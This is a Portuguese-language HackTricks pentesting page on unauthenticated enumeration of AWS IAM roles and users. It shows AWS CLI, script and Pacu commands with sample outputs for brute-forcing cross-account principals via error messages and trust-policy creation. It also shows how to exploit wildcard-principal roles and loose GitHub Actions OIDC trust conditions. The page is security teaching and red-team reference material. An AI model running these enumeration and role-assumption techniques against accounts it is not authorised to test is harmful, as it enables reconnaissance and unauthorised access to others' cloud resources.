AWS - IAM & STS Unauthenticated Enum

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Enumerar Funções e Nomes de Usuários em uma conta

Assumir Força Bruta de Função

Esta técnica não funciona mais, pois se a função existe ou não, você sempre recebe este erro:

Ocorreu um erro (AccessDenied) ao chamar a operação AssumeRole: O usuário: arn:aws:iam::947247140022:user/testenv não está autorizado a executar: sts:AssumeRole no recurso: arn:aws:iam::429217632764:role/account-balanceasdas

Você pode testar isso executando:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

Tentar assumir uma função sem as permissões necessárias aciona uma mensagem de erro da AWS. Por exemplo, se não autorizado, a AWS pode retornar:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

Este mensagem confirma a existência da função, mas indica que sua política de assumir função não permite sua suposição. Por outro lado, tentar assumir uma função inexistente resulta em um erro diferente:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

Interessantemente, este método de diferenciar entre funções existentes e não existentes é aplicável mesmo entre diferentes contas da AWS. Com um ID de conta AWS válido e uma lista de palavras direcionada, é possível enumerar as funções presentes na conta sem enfrentar limitações inerentes.

Você pode usar este script para enumerar possíveis princípios abusando dessa questão.

Políticas de Confiança: Força Bruta em funções e usuários de contas cruzadas

Configurar ou atualizar a política de confiança de uma função IAM envolve definir quais recursos ou serviços da AWS têm permissão para assumir essa função e obter credenciais temporárias. Se o recurso especificado na política existir, a política de confiança é salva com sucesso. No entanto, se o recurso não existir, um erro é gerado, indicando que um princípio inválido foi fornecido.

Observe que nesse recurso você pode especificar uma função ou usuário de conta cruzada:

  • arn:aws:iam::acc_id:role/role_name

  • arn:aws:iam::acc_id:user/user_name

Este é um exemplo de política:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

Este é o erro que você encontrará se usar um papel que não existe. Se o papel existir, a política será salva sem erros. (O erro é para atualização, mas também funciona ao criar)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

Pode automatizar este processo com https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

Usando o Pacu:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • O papel admin usado no exemplo é um papel em sua conta para ser impersonificado pelo pacu para criar as políticas necessárias para a enumeração

Privesc

No caso de o papel estar mal configurado e permitir que qualquer pessoa o assuma:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

O atacante poderia simplesmente assumir isso.

Federação de OIDC de Terceiros

Imagine que você consiga ler um fluxo de trabalho do Github Actions que está acessando uma função dentro da AWS. Essa confiança pode conceder acesso a uma função com a seguinte política de confiança:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

Esta política de confiança pode estar correta, mas a falta de mais condições deve fazer você desconfiar. Isso ocorre porque a função anterior pode ser assumida por QUALQUER PESSOA do Github Actions! Você deve especificar nas condições também outras coisas como nome da organização, nome do repositório, ambiente, ramo...

Outra possível configuração incorreta é adicionar uma condição como a seguinte:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

Observe o coringa (*) antes dos dois pontos (:). Você pode criar uma organização como org_name1 e assumir o papel de uma Ação do Github.

Referências

Aprenda hacking na AWS de zero a herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización